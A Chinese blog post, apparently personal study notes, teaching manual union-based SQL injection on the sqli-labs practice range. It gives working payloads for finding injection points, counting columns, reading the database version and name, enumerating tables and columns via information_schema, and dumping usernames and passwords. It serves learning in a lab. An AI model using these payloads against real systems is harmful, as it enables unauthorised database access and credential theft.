尝试进行手工注入

sql注入:

1.判断有无注入点

注入点:可以实行注入的地方
方法:
and 1=1; true
随便输入看有无报错。若报错则表明有注入点,未报错表明没有注入点。

2.猜解列名(字段)数量

order by

3.通过报错判断回显点 union

回显点:sql查询结果显示在页面上位置

通过回显点作信息收集

例如在sqli-labs靶场less2中,输入id=-1 union select 1,2,3,可以看出2列和3列有回显内容。因为在这张表中,id=-1是不存在的,而将id修改为数据库中不存在的值,就会将回显的位置腾出来

  1. 数据库版本 version()

    id=-1 union select 1,version(),3

    效果如下图:

    高版本:5.0以上 -- 系统库 information
    低版本:5.0一下

  2. 数据库名 database()

    id=-1 union select 1,database(),3

    可以得到相应的信息:

  3. ...

使用对应的SQL语句进行注入

通过信息收集,已知数据库库名为:security
通过表information_schema.tables查找表名 (.表示下一级)
字段table_name保存着表名

查找secutiry库下面所有的表名:

union select 1, table_name,3 from information_schema.tables 
where table_schema='security'

但由于表名过多不一定能显示得下,可以使用group_concat()函数进行分组去重
示例如下:

union select 1, group_concat(table_name),3 from information_schema.tables
where table_schema='security'

table_schema条件后的数据库库名也可以使用database()函数
示例如下:

union select 1, group_concat(table_name),3 from information_schema.tables
where table_schema=database()

表users是最有可能含有更多有用信息的

查询表里的字段

union select 1, group_concat(column_name),3 from information_schema.columns
where table_name='users'

如果无法识别,需要将users转为16进制
示例如下:

union select 1, group_concat(column_name),3 from information_schema.columns
where table_name=0x7573657273

表columns保存了information_schema库中的字段信息
column_name是字段名

这之后查询username和password字段数据便可知道密码。
示例如下:

select username,password from users;

完整示例如下:

union select 1,2,(select group_concat(username,0x3a,password)from users)
Last modification:January 1, 2023
If you think my article is useful to you, please feel free to appreciate